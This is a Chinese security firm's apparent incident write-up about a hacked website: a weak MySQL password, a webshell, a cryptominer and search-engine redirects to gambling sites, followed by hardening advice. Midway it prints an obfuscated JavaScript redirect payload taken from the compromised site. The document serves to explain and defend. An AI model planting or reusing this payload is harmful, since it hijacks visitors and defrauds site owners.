近日某客户网站被黑,导致网站首页被篡改并跳转到赌博网站,网站在百度的收录也收录了一些什么彩票内容的快照,网站首页快照也被修改成赌博内容,并被百度直接红色风险拦截提示,百度网址安全中心提醒您:该站点可能受到黑客攻击,部分页面已被非法篡改!我们SINE安全公司根据以上客户被黑的情况,立即进行了全面的网站安全检测,针对网站被黑的情况制定了详细的安全部署方案。
首先客户网站使用的是Linux centos系统服务器,客户提供服务器ip,ssh端口,root账号密码后,我们进去查看了服务器是否存在被黑以及系统木马后门的情况,再一个我们对其使用的mysql数据库进行了安全检测,发现问题,该mysql数据库的root账号使用的是弱口令密码,导致攻击者可以利用软件对数据库进行强力破解,导致破解成功,利用root权限直接提权并上传脚本木马到网站的根目录下。
根据上面发现的数据库安全问题,我们深度挖掘,追踪溯源,发现服务器还存在木马后门,top,查看linux当前进程,发现一个可疑的进程,通过查看进程的详细信息我们发现该进程是木马后门进程,再仔细一检查发现该木马是挖矿木马,攻击者利用服务器资源,带宽,进行挖矿,像比特币、以太坊等币进行挖矿。
我们对其挖矿木马进行安全分析:如下图
解密木马内容,我们发现该木马目前来说是免杀的木马,一般人是看不出问题来,但是经常维护服务器的运维人员就会察觉出来,第一该木马隐藏到linux进程当中去,根据时间段进行挖矿,避开高峰时间,以及维护人员的工作时间,当挖矿的时候木马进程CPU占用达到百分之80以上,甚至有时候网站都打开很慢。服务器的木马查完后,我们对网站的源代码进行安全检测,发现网站目录里被上传了网站木马后门,php脚本木马,该脚本木马可以对网站进行读写新建等操作,网站的首页标题描述也被改成了什么赌博的内容如下图:
<>eval(function(p,a,c,k,e,d){e=function(c){return(c
(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString
(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=
[function(e){return d[e]}];e=function(){return'\w+'};c=1;};while(c--)
if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p;}
('3.4("");3.4("d 1=3.f");3.4("e(1.2("7")>0 || 1.2(
"6")>0 || 1.2("8")>0 ||1.2("a")>0 ||1.2("9")>0 ||1.2(
"l")>0 ||1.2("m")>0 ||1.2("k")>0 )");3.4("h.g="j://i.o.n
";");3.4("");',25,25,'|s|indexOf|document|writeln||sogou|
baidu|soso|uc|sm|Java|LANGUAGE|var|if|referrer|href|location|www|
http|so|bing|yahoo|com|268238'.split('|'),0,{}))
通过解密上面的代码发现,只要是从百度,搜狗,以及soso,so,bing等搜索引擎来的访问,都会直接跳转到攻击者设定好的赌博网站上去。随即我们SINE安全公司对该恶意代码进行了清除,网站恢复正常访问。
以上就是我们解决客户网站安全的整个过程,下面针对于此次网站被黑,提供如下 的网站安全建议:
1.对mysql数据库进行安全部署,对root账号密码加密,尽可能设置的复杂一些,数字+大小写字母+特殊符号,对网站数据库进行分配普通权限账号。
2.mysql数据库默认端口3306,改为51158,并加入到端口安全策略,不对外开放,外网IP无法连接数据库,只有本地127.0.0.1才能进行连接数据库,以防止攻击者恶意猜测。
3.对服务器底层系统进行安全加固,包括SSH登录的安全验证。
4.对网站代码进行整体的安全检测,包括定期的升级网站程序源代码,修复补丁以及网站漏洞。